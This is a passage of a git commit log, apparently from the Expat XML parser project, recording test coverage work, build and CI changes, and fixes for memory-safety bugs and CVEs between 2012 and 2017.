Sebastian Pipping ce34ddfe9f Travis: Inline .travis.sh for better integration 2017-03-13 18:45:31 +01:00
Sebastian Pipping e064eb4c18 Travis: Pull xmlts.zip download out of script section
.. so that temporary download issues count for setup issues,
not script execution
2017-03-13 18:44:06 +01:00
Sebastian Pipping 11187083d9 Travis: Move from sudo to apt addon 2017-03-13 18:44:06 +01:00
Rhodri James 7091e83cb4 Check that version information is consistent 2017-03-13 18:12:24 +01:00
Rhodri James 69b23486c9 Test XML_ErrorString range checking 2017-03-13 18:06:20 +01:00
Sebastian Pipping 822036fd12 Tests: Make dealing with global parser instance more robust 2017-03-13 18:06:05 +01:00
Rhodri James 6a1873f1f1 Free the content model when used 2017-03-13 17:54:41 +01:00
Rhodri James 813dde9bcc Add test coverage of XML_GetInputContext() 2017-03-13 17:51:59 +01:00
Sebastian Pipping 19e6c3ac9f Tests: Address wildcard expansion order variance (fixes #13) 2017-03-13 17:39:14 +01:00
Rhodri James c85b577eed Check byte information behaviour in handlers 2017-03-13 16:23:04 +01:00
Rhodri James a0eca419bd Extend coverage of byte information function tests 2017-03-13 15:39:38 +01:00
Rhodri James 2dbc5c800b Test byte information functions 2017-03-13 15:39:38 +01:00
Rhodri James 012de3c01b Improve test coverage of XML_ResumeParser 2017-03-13 15:22:52 +01:00
Rhodri James cf29d40fd3 Extend test coverage of XML_ResumeParser 2017-03-13 15:21:24 +01:00
Rhodri James 6975a78eb5 Extend test coverage of XML_ResumeParser() 2017-03-13 15:21:13 +01:00
Rhodri James b1ef084e82 Test XML_StopParser() in external entity parsing 2017-03-13 15:15:44 +01:00
Rhodri James ca324d219c Increase test coverage of XML_StopParser 2017-03-12 19:42:33 +01:00
Sebastian Pipping 7c715a9d3c Fix __func__ for -std=c89 with GCC 5.4.0 (fixes #12)
GCC 5.4.0 does not define __STDC_VERSION__ when -std=c89 is passed.
2017-03-08 22:25:37 +01:00
Sebastian Pipping acbdb19a28 configure.ac: Fix const correctness in check for __func__ 2017-03-08 22:24:47 +01:00
Rhodri James 0a3827eb7d Extend tests of XML_GetBuffer for still more coverage 2017-03-05 22:56:23 +01:00
Rhodri James 28d9f9938f Extend XML_GetBuffer testing coverage 2017-03-05 22:54:57 +01:00
Rhodri James 1c3c9b2bd5 Further test coverage of XML_GetBuffer 2017-03-05 22:53:15 +01:00
Rhodri James 11df015a54 Extend tests to XML_GetBuffer in various circumstances 2017-03-05 22:44:17 +01:00
Rhodri James 98c2606759 Test XML_ParseBuffer API in various parse states 2017-03-05 22:38:33 +01:00
Rhodri James d54933675f Extend empty string parse tests 2017-03-05 22:36:29 +01:00
Rhodri James bc193a62a0 Test parsing a zero-length string 2017-03-05 22:33:53 +01:00
Rhodri James d7550d1446 Check parsing is faulted once parser is FINISHED 2017-03-05 22:30:44 +01:00
Rhodri James ce9b32fe94 Check XML_Parse faults parsing while suspended 2017-03-05 22:29:50 +01:00
Rhodri James 93fabef3cd Check manual setting of hash salt 2017-03-05 22:27:50 +01:00
Rhodri James bcee6525d1 Check entity parsing policy can't be changed mid-parse 2017-03-05 22:27:13 +01:00
Rhodri James 7c27879ec9 Test XML declaration handler 2017-03-05 22:26:34 +01:00
Rhodri James 12fb5000c2 Check skipped entity handler 2017-03-05 22:24:39 +01:00
Rhodri James fefa4bc3f0 Check clearing of external entity handler parameter 2017-03-05 22:22:49 +01:00
Rhodri James e3194021b6 Test NotStandalone handlers 2017-03-05 22:13:36 +01:00
Rhodri James 3dd91b2e7b Call namespace declaration start and end handlers 2017-03-05 22:13:29 +01:00
Rhodri James 454f53885b Ensure unparsed entity handler gets set
This adds test coverage for an obsolete handler that is supported
only for backwards compatibility.  While it is supported, we should
test it.
2017-03-05 22:05:54 +01:00
Rhodri James b94580da12 Extend coverage to XML_{Start|End}DoctypeDeclHandler 2017-03-05 22:04:08 +01:00
Rhodri James 37f374a1c0 Extend test_return_ns_triplet() to improve code coverage 2017-03-05 22:02:47 +01:00
Rhodri James b0993ad257 Test non-NULL external entity ref handler parameter 2017-03-05 22:00:21 +01:00
Rhodri James 64543da013 Extend test of passing parser as userData 2017-03-05 21:58:48 +01:00
Sebastian Pipping a0f8c0817b Configure Travis CI (issue #2) 2017-02-19 22:38:22 +01:00
Rhodri James d1f980f55d Test XML_SetEncoding against memory allocation failures 2017-02-18 21:16:17 +01:00
Rhodri James 1e5cdb011c Test XML_SetBase against failing memory allocations 2017-02-18 20:45:30 +01:00
Rhodri James 36fb006a34 Test XML_SetEncoding against memory allocation failures 2017-02-18 20:44:08 +01:00
Rhodri James d0c57b2a29 Increase test coverage of XML_SetEncoding() 2017-02-18 20:42:42 +01:00
Rhodri James 8f21640654 Test freeing a non-existent parser 2017-02-18 20:39:49 +01:00
Rhodri James 682eac7acf Add some coverage of CDATA section handlers 2017-02-18 20:38:16 +01:00
Rhodri James effb3e98a0 Test XML_ParserReset in external entity parsing is ignored 2017-02-18 20:37:04 +01:00
Rhodri James b3cc5a74d9 Test XML_ParserReset in internal entity expansion 2017-02-18 20:35:28 +01:00
Rhodri James 7f872d8edf Test that XML_ParserReset() does reset the parse state 2017-02-18 20:33:39 +01:00
Rhodri James 43db55597d Test allocation failures when creating parser with encoding 2017-02-18 20:30:37 +01:00
Rhodri James 715d24056f Test ID attribute indexing 2017-02-18 20:27:34 +01:00
Rhodri James b66d656b9d Test attribute reporting to start element handler 2017-02-18 20:18:42 +01:00
Rhodri James d033881202 Test XML_SetBase() and XML_GetBase() return consistent results 2017-02-18 19:02:39 +01:00
Rhodri James 726ec0d23e Test XML_UseForeignDTD() 2017-02-18 18:59:34 +01:00
Rhodri James 3bbd6df22f Add coverage test for DTD element declarations with contents 2017-02-18 18:54:27 +01:00
Rhodri James 398628cf4a Test XML_DefaultCurrent() passes on handling correctly 2017-02-18 18:36:57 +01:00
Rhodri James fa8192757d Test memory allocation functions 2017-02-18 18:23:39 +01:00
Rhodri James 8a8bdc1092 Refactor allocation tests to reduce boilerplate 2017-02-18 18:19:58 +01:00
Rhodri James 4373471d80 Test allocation failure handling in DTD elements 2017-02-18 18:13:39 +01:00
Rhodri James 865bb305fe Extend test coverage of external entity allocation failures 2017-02-18 18:08:00 +01:00
Rhodri James a085b6bc3a Test that unrecognised encodings are rejected 2017-02-18 17:58:16 +01:00
Rhodri James 3159be0ee9 Add test for allocation failures in internal entity encoding handler 2017-02-18 17:55:50 +01:00
Rhodri James b1ed3b5871 Tweak tests to catch more allocation failure branches 2017-02-18 17:50:01 +01:00
Rhodri James 83bc31bfd3 Test namespace parsing with allocation failures 2017-02-18 17:47:54 +01:00
Rhodri James cd1c016159 Test allocation failures during external entity parsing 2017-02-18 17:40:10 +01:00
Sebastian Pipping 94c69e5df1 Changes: Add Rhodri James to special thanks 2017-02-14 23:56:25 +01:00
Sebastian Pipping 64dca0bf4b Changes: Document fix to issue #3 2017-02-14 23:53:53 +01:00
Rhodri James 69c66034fe Remove unused variable and fix comment. No functional changes. 2017-02-14 23:45:32 +01:00
Rhodri James 7ae9c3d3af Don't free a partially allocated element type twice (issue #3)
If memory allocation fails for default attributes of an element type
while copying a DTD, the element type itself was being freed.
Unfortunately it's already stored in the DTD by this point, so is
freed again when the DTD is destroyed.
2017-02-14 23:45:21 +01:00
Rhodri James 4499b07ad8 Add a test for DTD duplication allocation failure 2017-01-31 15:34:30 +00:00
Rhodri James a35beed126 Add a test case for external entity parser allocation failures. 2017-01-30 17:51:50 +00:00
Rhodri James 0d2018f9bc Add a test case to cover allocation failures in parserCreate() 2017-01-30 16:03:23 +00:00
Rhodri James 89d37b3ee3 Add qa.sh modes for library and application coverage stats 2017-01-30 15:27:54 +00:00
Sebastian Pipping 25a40afb0c CHANGES: Extend special thanks 2016-11-20 18:16:27 +01:00
Sebastian Pipping 12531ad43b Changes: Document pull request #2 2016-11-20 18:12:35 +01:00
Sebastian Pipping 49e00b2a34 CMakeLists.txt: Resolve trailing whitespace 2016-11-20 18:10:01 +01:00
Sebastian Pipping aa7f61cb0d CMakeLists.txt: Rename BUILD_install to INSTALL 2016-11-20 18:09:13 +01:00
Tobias Taschner ce686f45ba CMake: Add BUILD_install to make install optional
For easier integration in other projects via add_subdirectory() make the install() calls optional.
2016-10-26 21:48:34 +02:00
Sebastian Pipping 2074c16a99 CMake: Do not try building docs if MSVC (bug #534) 2016-08-15 18:57:06 +02:00
Sebastian Pipping a46258d1f6 Extend change log (issue #534) 2016-08-15 18:48:14 +02:00
Sebastian Pipping b419a6e952 CMake: Fix ninja support 2016-08-15 18:39:28 +02:00
Sebastian Pipping add34368c6 CMake: Symptom-fix out-of-source builds 2016-08-15 18:13:03 +02:00
Sergei Nikulov 227572030e fix for #534 2016-08-15 18:07:34 +02:00
Sebastian Pipping 25c6393829 Extend change log 2016-08-12 23:43:56 +02:00
Don Lewis 896b6c1fd3 Fix utf8_toUtf16 (bug #539) 2016-08-12 23:41:51 +02:00
Sebastian Pipping 06b9bcf2a6 Start using -fno-strict-aliasing (bug #538) 2016-08-12 15:45:05 +02:00
Sebastian Pipping 11bbfeed89 Extend change log for issue #540 2016-07-30 16:54:50 +02:00
Sebastian Pipping 9b3cb94d46 Address -Wunused-parameter and -Wunused-function 2016-07-30 16:50:32 +02:00
Ed Schouten 01d9dffa02 Make Expat build on CloudABI 2016-07-30 16:42:24 +02:00
Sebastian Pipping 0df2c1446e Changes: Fix description of (conditions for) bug #539 2016-07-17 22:34:57 +02:00
Sebastian Pipping 52fdda154b Changes: Document fix to regression bug #539 2016-07-17 20:30:28 +02:00
Sebastian Pipping af507cef2c Fix regression bug #539 (needs -DXML_UNICODE)
Thanks to Andy Wang and Karl Waclawek!
2016-07-17 20:30:25 +02:00
Sebastian Pipping fbc46fa2be Move release date to 2016-06-21 2016-06-21 14:58:38 +02:00
Karl Waclawek 0672d84397 Fixed versioning comment. 2016-06-20 16:43:12 -04:00
Sebastian Pipping eb0fd8b2b1 CMakeLists.txt: Exclude soversion config on Windows 2016-06-20 18:47:11 +02:00
Sebastian Pipping 87b38b775d Handle XML_ParserCreate* NULL return
Pointed out by Pascal Cuoq
2016-06-18 23:09:20 +02:00
Sebastian Pipping 1d4bc08a37 Fix infinite loop
Regression from 3014589057

https://marcograss.github.io/security/android/chromium/2016/06/17/expat-xml-heap-overflow.html
2016-06-18 16:33:43 +02:00
Sebastian Pipping 5a5b157ba3 doc/xmlwf.1: Migrate from SGML to XML 2016-06-18 01:44:54 +02:00
Sebastian Pipping 80cd16cb06 Extend .gitignore 2016-06-18 00:28:55 +02:00
Sebastian Pipping a0eaef2d67 Set version 2.2.0/2016-06-18 where missing 2016-06-18 00:16:21 +02:00
Sebastian Pipping df324510ba htdocs/index.html: Fix some HTML issues 2016-06-18 00:10:51 +02:00
Sebastian Pipping 3e9b6807c4 htdocs/index.html: Sync HTML change log 2016-06-18 00:09:57 +02:00
Sebastian Pipping 9751416948 Changes: Adjust case 2016-06-17 23:44:15 +02:00
Karl Waclawek 76f5dc2a70 Upgraded setup files for Win32. 2016-06-17 15:04:39 -04:00
Karl Waclawek 309ad17f97 Added Visual Studio 2013 solution/project files. Will also work in Visual Studio 2015 if VS 2013 is installed. Otherwise, open a "Visual Studio 2015 Developer Command Prompt" and execute "devenv.exe /upgrade expat.sln" in the expat directory to upgrade the main solution and project files (Tests have their own solutions). 2016-06-17 14:34:46 -04:00
Sebastian Pipping d627982040 Address VS2010 compile warning
xmlparse.c(1893): warning C4244: 'return' : conversion from '__int64' to 'XML_Index', possible loss of data

Reported by tbeu <tc@tbeu.de>
2016-06-16 17:20:43 +02:00
Sebastian Pipping 92da19f153 Resolve COMPILING_FOR_WINDOWS (ex COMPILED_FROM_DSP) in favor of WIN32 2016-06-13 17:05:16 +02:00
tbeu d4123b8f60 Fix MSVC compiler warning 2016-06-07 21:47:15 +02:00
Sebastian Pipping 5b24ad2e51 qa.sh: "set -e" inside "|| exit 1"-ed subshell did not have any effect
http://unix.stackexchange.com/questions/65532/why-does-set-e-not-work-inside/65564#65564
2016-06-06 22:47:52 +02:00
tbeu da4d6f9b53 Update copyright year 2016-06-06 22:28:57 +02:00
tbeu e1b1cf953f Fix typos 2016-06-06 21:40:47 +02:00
Sebastian Pipping 2b9cb7f5b5 Bump soversion, skipped one for 2.1.1 2016-06-05 15:43:36 +02:00
Sebastian Pipping b364f44701 CMake: Create .so.1 symlink, too 2016-06-05 15:41:12 +02:00
Sebastian Pipping 5cfcdc3f40 Have CMake call "$(MAKE) -C doc xmlwf.1"
.. so that the man page is built if missing (e.g. for a Git clone)
2016-06-05 15:17:07 +02:00
Sebastian Pipping e33d37cb47 doc/Makefile: Do not leave nullbyte XMLWF.1 on error 2016-06-05 15:14:14 +02:00
Sebastian Pipping 3f7f01ec09 Extend change log 2016-06-04 22:17:11 +02:00
Sebastian Pipping 17be9de91d Ensure that unistd.h is included on Linux
(or anywhere except non-Cygwin Windows, to be precise)

Bug reported by László Böszörményi
2016-06-04 22:17:11 +02:00
Sebastian Pipping f00e1d752a Handle lack of __func__ with ISO C90
Bug reported by László Böszörményi
2016-06-04 22:17:03 +02:00
Sebastian Pipping 43718a3e32 Improve autotools-related entries in upcoming release changes 2016-06-04 17:37:39 +02:00
Sebastian Pipping 07cc2fcacf Mention recently assigned CVEs CVE-2012-6702 and CVE-2016-5300 in plaintext change log 2016-06-04 17:21:04 +02:00
Sebastian Pipping 56e62f1634 Sync plaintext changelog; HTML left to do 2016-06-03 23:36:01 +02:00
Sebastian Pipping f32e06fe6b qa.sh: Merge callgraphs into one 2016-05-30 20:59:05 +02:00
Sebastian Pipping a01b100305 qa.sh: Add egypt support (callgraphs) 2016-05-30 20:30:30 +02:00
Sebastian Pipping 0b51c25a09 Sync .gitignore 2016-05-28 19:55:40 +02:00
Sebastian Pipping 4363739fd5 CMake: Add soversion, support -DNO_SONAME=yes to bypass (issue #536) 2016-05-28 19:55:40 +02:00
Sebastian Pipping 293dc5f730 Merge branch 'minbpc' 2016-05-25 19:15:29 +02:00
Sebastian Pipping 7101c85433 Extract macros from end-of-input checking 2016-05-25 19:04:36 +02:00
Sebastian Pipping 687edcb52b Take into account that CHAR_MATCHES may read >1 bytes 2016-05-25 19:04:36 +02:00
Sebastian Pipping 3014589057 Take into account that BYTE_TYPE may read >1 bytes 2016-05-25 19:04:36 +02:00
Sebastian Pipping 93acfa0bb3 qa.sh: Add ncc/nccnav support 2016-05-25 19:04:36 +02:00
Sebastian Pipping 5a912171fd qa.sh: Polish and make more flexible 2016-05-25 19:04:03 +02:00
Sebastian Pipping a12e78cb1b Fix uninitialized read of size 1 in little2_updatePosition
Reported by Pascal Cuoq

Valgrind's view:
==4416== Conditional jump or move depends on uninitialised value(s)
==4416==    at 0x41F187: little2_updatePosition (xmltok_impl.c:1748)
==4416==    by 0x405F85: XML_GetCurrentColumnNumber (xmlparse.c:1931)
==4416==    by 0x402F7B: reportError (xmlfile.c:67)
==4416==    by 0x403041: processFile (xmlfile.c:84)
==4416==    by 0x403752: filemap (unixfilemap.c:61)
==4416==    by 0x403523: XML_ProcessFile (xmlfile.c:239)
==4416==    by 0x402EBC: main (xmlwf.c:847)
2016-05-25 18:47:35 +02:00
Sebastian Pipping 4813526e87 Merge branch 'improve-partial-utf8-handling' 2016-05-20 22:46:51 +02:00
Sebastian Pipping 550eb6bbaa Fix UTF-8 auto alignment 2016-05-20 22:30:45 +02:00
Sebastian Pipping be917d9f84 Cover UTF-8 limit correction; some tests fail
Failing tests are:
[-] UTF-8 case  3: Expected movement by -1 chars, actually moved by  0 chars: "\xdf"
[-] UTF-8 case  4: Expected movement by  0 chars, actually moved by -1 chars: "\xdf\xbf"
[-] UTF-8 case  5: Expected movement by -1 chars, actually moved by  0 chars: "\xef"
[-] UTF-8 case  6: Expected movement by -2 chars, actually moved by -1 chars: "\xef\xbf"
[-] UTF-8 case  7: Expected movement by  0 chars, actually moved by -2 chars: "\xef\xbf\xbf"
[-] UTF-8 case  8: Expected movement by -1 chars, actually moved by  0 chars: "\xf7"
[-] UTF-8 case  9: Expected movement by -2 chars, actually moved by -1 chars: "\xf7\xbf"
[-] UTF-8 case 10: Expected movement by -3 chars, actually moved by -2 chars: "\xf7\xbf\xbf"
[-] UTF-8 case 11: Expected movement by  0 chars, actually moved by -3 chars: "\xf7\xbf\xbf\xbf"
2016-05-20 22:29:47 +02:00
Sebastian Pipping 525be92f78 Extract function align_limit_to_full_utf8_characters 2016-05-20 22:11:56 +02:00
Sebastian Pipping be4b1c06da Merge branch 'cve-2016-0718-fix-2-2-1'
Conflicts:
  expat/lib/xmltok.c
2016-05-17 21:08:21 +02:00
Pascal Cuoq a1bc009dd4 Do not compare an out-of-bounds pointer. See https://lwn.net/Articles/278137/ 2016-05-16 16:11:01 +02:00
Pascal Cuoq 5c9cc0eed8 Avoid undefined behavior when computing larger blockSize. The compiler might reason that (end - start)*2 is negative only if (end - start) is negative, see https://godbolt.org/g/wVEoTM 2016-05-16 16:10:57 +02:00
Pascal Cuoq f0bec73b01 Avoid relying on undefined behavior in CVE-2015-1283 fix. It does not really work: https://godbolt.org/g/Zl8gdF 2016-05-16 15:35:08 +02:00
Sebastian Pipping a238d7ea7a Makefile.in: Extend target "qa" 2016-05-15 14:11:11 +02:00
Sebastian Pipping 2106ee4050 Fix left shift signed overflow
lib/xmltok.c:1407:11: runtime error: left shift of 1 by 31 places cannot be represented in type 'int'
lib/xmltok.c:1409:16: runtime error: left shift of 1 by 31 places cannot be represented in type 'int'
2016-05-15 14:04:09 +02:00
Sebastian Pipping 4ae8aed082 Makefile.in: Respect CXXFLAGS if given 2016-05-15 13:50:06 +02:00
Björn Lindahl d10262c9ef Added suffix "d" to lib/dll to differentiate Debug from Release output so they don't overwrite each other.
Fixes #323
2016-05-14 19:33:32 +02:00
Sebastian Pipping 1eaf75a2c3 Never hide official symbols (for -fvisibility=hidden)
Based on expat-visibility.patch by
Cristian Rodríguez <crrodriguez@opensuse.org>
2016-05-11 20:04:43 +02:00
Cristian Rodríguez a4c383b722 Annotate memory allocators for GCC 2016-05-11 19:55:19 +02:00
Sebastian Pipping 69746f5ab2 Address all "unused parameter" warnings 2016-05-07 17:24:35 +02:00
Sebastian Pipping e1196d2f3a doc/Makefile: Resolve use of "$<" for bmake 2016-05-06 21:04:09 +02:00
Ryo ONODERA 778428203d Do not use GNU make extension 2016-05-06 21:01:48 +02:00
Sebastian Pipping 99e0a5c245 Fix "make install" for Git clone 2016-05-06 21:00:49 +02:00
Sebastian Pipping 9eb0c7189f Makefile: Add target "qa" 2016-05-06 03:14:16 +02:00
Sebastian Pipping e375ac8478 Complete XmlConvert return value handling 2016-05-02 01:00:39 +02:00
Sebastian Pipping 9ff1d645bf Do not grow pool to out-of-memory for incomplete input 2016-05-02 01:00:32 +02:00
Sebastian Pipping a9b80b4ae4 Make converters tell state on termination (v3) 2016-05-02 01:00:32 +02:00
Sebastian Pipping e18829b4ff Prevent out-of-bounds access in text conversion
* big2_toUtf8
* little2_toUtf8
* utf8_toUtf8
* utf8_toUtf16
2016-05-02 01:00:32 +02:00
Gustavo Grieco 2cac066cf6 Fix two integer overflows 2016-05-02 01:00:32 +02:00
Karl Waclawek bb1fd81b98 Fix overflow (v2)
(Some post-processing by Sebastian Pipping)
2016-05-02 01:00:27 +02:00
Sebastian Pipping 379213ca19 Have "make run-xmltest" report on expected output 2016-05-01 16:01:51 +02:00
Sebastian Pipping aed54a0ec9 Fix "make run-xmltest" more 2016-05-01 15:59:23 +02:00
Sebastian Pipping 2b289b1e78 Fix "make run-xmltest" 2016-04-30 21:11:02 +02:00
Sebastian Pipping 023ed44edd Tests: Cover CDATA sections 2016-03-31 23:19:22 +02:00
Sebastian Pipping d839aecc61 Tests: Parse XML one byte at a time 2016-03-31 18:53:03 +02:00
Sebastian Pipping 56ceae7046 Sync change log 2016-03-28 22:23:43 +02:00
Sebastian Pipping 6d8696fc55 Address warning "missing initializer for field" 2016-03-28 21:35:55 +02:00
Sebastian Pipping 3bd715bf75 Address "comparison between signed and unsigned integer" warnings 2016-03-28 21:24:36 +02:00
Sebastian Pipping 934bcb0ac6 Address warnings on const correctness 2016-03-28 21:18:29 +02:00
Sebastian Pipping b280bb8026 Merge branch 'resolve-srand' 2016-03-28 20:42:31 +02:00
Sebastian Pipping 2c346ba0bc Windows: Handling missing getpid and headers 2016-03-28 19:21:44 +02:00
Sebastian Pipping 888df4247c Use GetSystemTimeAsFileTime on Non-Cygwin-Windows with no gettimeofday 2016-03-28 18:19:02 +02:00
Sebastian Pipping 37f7efb878 Define COMPILING_FOR_WINDOWS with CMake on Windows 2016-03-28 18:18:09 +02:00
Sebastian Pipping bdee307f19 Turn COMPILED_FROM_DSP into COMPILING_FOR_WINDOWS
.. since it is used with that semantic by now
2016-03-28 18:18:09 +02:00
Sebastian Pipping f627ff74d6 Use a prime that fits 32bits on 32bit platforms
Bug reported by Yann Droneaud, thanks!
https://bugzilla.redhat.com/show_bug.cgi?id=1197087#c21
2016-03-21 20:05:27 +01:00
Sebastian Pipping ca523deca4 Extract entropy from XML_Parser address
Idea by Yann Droneaud, thanks!
https://bugzilla.redhat.com/show_bug.cgi?id=1197087#c21
2016-03-21 19:58:04 +01:00
Sebastian Pipping a5f2d04060 Extract method gather_time_entropy 2016-03-20 20:26:46 +01:00
Sebastian Pipping 6acb0a4737 Resolve call to srand, use more entropy
Since commit e3e81a6d9f
(released with Expat 2.1.0) Expat called srand by itself
from inside generate_hash_secret_salt for an instance
of XML_Parser if XML_SetHashSalt was either (a) not called
for that instance or if (b) salt 0 was passed to XML_SetHashSalt
prior to parsing.  That call to srand passed (rather litle)
entropy extracted from the current time as a seed for srand.

That call to srand (1) broke repeatability for code calling
srand with a non-random seed prior to parsing with Expat,
and (2) resulted in a rather small set of hashing salts in
Expat in total.

For a short- to mid-term fix, the new approach avoids calling
srand altogether, extracts more entropy out of the clock and
adds some additional entropy from the process ID, too.

For a long term fix, we may want to read sizeof(long) bytes
from a source like getrandom(..) on Linux, and from similar
sources on other supported architectures.

https://bugzilla.redhat.com/show_bug.cgi?id=1197087
2016-03-20 20:20:57 +01:00
Sebastian Pipping 75a1473981 Merge branch 'patch-90' 2016-03-14 19:12:52 +01:00
tbeu 247cc3af30 Fix VS2010 compilation
Avoid C99 style declaration (MSVC)
2016-03-13 21:17:00 +01:00
Karl Waclawek a124f43dad Updated copyright year in Win32 setup script. 2016-03-12 16:12:42 -05:00
Sergei Nikulov 5c96e9ce60 Fix for BUILD_shared=OFF case on MSVC 2016-03-12 17:12:31 +01:00
Sebastian Pipping d9a92249b1 CMakeLists.txt: Move code for upcoming change 2016-03-12 17:09:47 +01:00
Sebastian Pipping fe432127ab Fix source code permissions
Files had executable flag turn on, previously.
https://bugzilla.redhat.com/show_bug.cgi?id=1247348
2016-03-12 05:21:47 +01:00
Sebastian Pipping ee0adc0d9d Fill release date 2016-03-12 04:21:09 +01:00
Sebastian Pipping 248809b602 make-release.sh: Move from gzip to bzip2 2016-03-12 04:04:24 +01:00
Sebastian Pipping 80b2c0a882 htdocs/index.html: Mention Git before CVS 2016-03-12 03:33:57 +01:00
Sebastian Pipping 2617547534 htdocs/index.html: Fix broken SF.net links 2016-03-12 03:32:01 +01:00
Sebastian Pipping 796085674a examples/elements.c: Address compile warning on sign mismatch
examples/elements.c: In function ‘main’:
examples/elements.c:54:16: warning: comparison between signed and unsigned integer expressions [-Wsign-compare]
     done = len < sizeof(buf);
                ^
2016-03-12 02:59:53 +01:00
Sebastian Pipping 1f08fdbaaa Mention issue #502 in 2.1.1 change log 2016-03-12 02:57:41 +01:00
Gaurav b3a467e392 Fix potential null pointer dereference (issue #502) 2016-03-12 02:53:04 +01:00
Sebastian Pipping 2671b8bb91 Replace caddr_t by "void *" for -std=c99 (issue #506) 2016-03-12 02:41:00 +01:00
Gilles Espinasse b3b07679ee Remove pre-2.0.0 leftovers of using "check" unit testing library 2016-03-12 02:31:29 +01:00
Sebastian Pipping 4cfcbc0b5c Address XML_Parse return type mis-match warning (issue #512)
(Function XML_Parse returns enum XML_Status, not enum XML_Error.)
2016-03-12 02:14:14 +01:00
Sebastian Pipping e6585e0170 lib/libexpat*.def: Fix version in comment 2016-03-12 01:08:32 +01:00
Sebastian Pipping 8c2fd3d097 Bump version to 2.1.1 2016-03-12 00:23:16 +01:00
Sebastian Pipping e4d859eb2c Write 2.1.1 change log 2016-03-12 00:23:16 +01:00
Sebastian Pipping 3bdfa930a9 doc/xmlwf.1: Generate from sources using docbook2X
As aside effect the mistaken content

  BUGS
    According to the W3C standard, an XML file without a
    declaration at the beginning is not considered well-formed.
    However, xmlwf allows this to pass.

disappears from the man page.  This is related to bug 470
https://sourceforge.net/p/expat/bugs/470/ or
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=412786
in Debian.
2016-03-12 00:23:16 +01:00
Ardo van Rangelrooij af3dadd473 doc/xmlwf.sgml: Address GROFF issue
GROFF expects a macro name after a leading point. So remove
the linebreak and avoid the warning.
2016-03-12 00:16:49 +01:00
Sebastian Pipping a472f11d32 doc/xmlwf.sgml: Fix typos
This is backport of commit 4d84c6e897
from doc/xmlwf.1 to doc/xmwlf.sgml
2016-03-12 00:16:49 +01:00
Sebastian Pipping 3c2d92ce83 Fix RPM .spec file 2016-03-11 23:22:51 +01:00
Sebastian Pipping a29cfb19d8 Makefile.in: Call libtool with --verbose for Debian 2016-03-11 23:22:51 +01:00
Raphael Bossek 95d0faf2b4 Install expat_config.h as well
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=302191
2016-03-11 23:22:51 +01:00
Sebastian Pipping a0afc16400 make-release.sh: Move from Git to CVS 2016-03-11 23:22:51 +01:00
Sebastian Pipping 0ab8564db6 CMakeLists.txt: Align binary locations with Autotools
Target "xmlwf" even collided with the source folder of the
same name, previously:

$ cmake . && make
...
[ 82%] Linking C executable xmlwf
.../ld: cannot open output file xmlwf: Is a directory
collect2: error: ld returned 1 exit status
...
2016-03-11 23:22:51 +01:00
Sebastian Pipping f2b1209477 Add CMake things to .gitignore 2016-03-11 23:22:51 +01:00
Sebastian Pipping a3b925a46e xmlwf: Sync usage help with man page and code 2016-03-11 23:22:51 +01:00
Eric Rahm ba0f9c3b40 CVE-2015-1283 Sanity check size calculations. r=peterv, a=abillings
https://sourceforge.net/p/expat/bugs/528/
2016-03-02 18:01:53 +01:00
Sebastian Pipping 3f5ed8f18d Extend .gitignore 2016-03-02 18:01:53 +01:00
Sebastian Pipping 426bb860cc buildconf.sh: Create missing conftools/install-sh
Otherwise configure will fail with:
configure: error: cannot find install-sh, install.sh, or shtool in conftools "."/conftools
2016-03-02 18:01:53 +01:00
Sebastian Pipping 7fed4b073e buildconf.sh: Fix variable mis-nomer/collision 2016-03-02 18:01:53 +01:00
Sebastian Pipping d1d7e18ac4 Rename configure.in to .ac
.. as requested by aclocal:
aclocal-1.15: warning: autoconf input should be named 'configure.ac', not 'configure.in'
2016-03-02 18:01:53 +01:00
Karl Waclawek 891ec14f60 Fix for issue #3526620. 2012-05-15 00:28:15 +00:00
Karl Waclawek f08b5b72d1 Fix for issue #3522658. 2012-05-06 00:10:00 +00:00
Fred L. Drake, Jr. c205a741b4 update news for www.libexpat.org 2012-04-14 19:56:38 +00:00
Fred L. Drake, Jr. dbc2e3c638 fix typo 2012-04-14 19:51:29 +00:00
Karl Waclawek 62574fc8be Final release notes. 2012-03-24 19:06:25 +00:00
Karl Waclawek d07166d698 Changed version of XML test suite used to 20080827. 2012-03-18 22:18:10 +00:00
Karl Waclawek 0b01ad31ac Typo in README fixed. 2012-03-11 05:54:36 +00:00
Karl Waclawek cc3008d7dd Updated Changes for release 2.1.0. 2012-03-11 05:19:09 +00:00
Karl Waclawek b46cee3884 Fix for bug #3500861 did not work properly, fixed the fix by applying
the setContext() call only to the root parser.
Also added a make target to run the benchmark - it relies on the testdata
module being present at the same location as in the repository.
2012-03-11 05:13:12 +00:00
Karl Waclawek fefcce65be Documented new features for release 2.1.0. 2012-03-10 18:27:17 +00:00
Karl Waclawek 9d7c55246f Fix for bug #3500861 - setContext() called before hash salt was set. 2012-03-10 17:40:30 +00:00
Karl Waclawek 60a139db9c Release preparations. 2012-03-05 14:52:54 +00:00
Karl Waclawek b6db32746f Added CMake build system. 2012-03-05 14:38:22 +00:00
Karl Waclawek dce3da11d5 Win32 preparations for release. 2012-03-04 15:53:13 +00:00
Karl Waclawek 1b2b6992cc Preparing for release 2.1.0. 2012-03-04 04:00:51 +00:00
Karl Waclawek 62649c54c3 - Added check for CXX compiler to configure.in, to make the tests compile
- Fixed invalid pointer cast (on 64bit systems) in runtests.c
2012-03-03 23:45:53 +00:00
Karl Waclawek 78344f1740 Release preparations. 2012-03-03 22:02:09 +00:00
Karl Waclawek 0ecc3a7896 Release preparations. 2012-03-03 21:47:56 +00:00
Karl Waclawek a54b3f901a Release preparations. 2012-03-03 21:39:46 +00:00
Karl Waclawek 0d8489d77e Release preparations. 2012-03-03 21:37:14 +00:00
Karl Waclawek 5bcde56a71 updated manifest for release builds 2012-03-03 21:14:56 +00:00
Karl Waclawek e3e81a6d9f - Fix for bug # 3496608 (Hash DOS attack)
- Added patch # 3446384 (byte offsets for attr names and values)
- Fix for bug # 3206497 (unitialized memory returned from XML_Parse)
2012-03-03 19:08:02 +00:00
Karl Waclawek 06f392cb07 Changes to the build files:
- replaced the contents of buildconf.sh with instructions to run "autoreconf -fvi")
- some build files were removed, like config.guess, config.sub and install-sh,
  as autoreconf will re-create them.
- clean-up modified to remove files that autoreconf re-created
2012-03-03 18:35:54 +00:00
Karl Waclawek 77ef094a01 Applied patch #3120699 with modifications. 2012-02-26 14:36:31 +00:00
Karl Waclawek cd7f0cdc29 Added Windows project files (same VC++ 6.0 format as the others) and
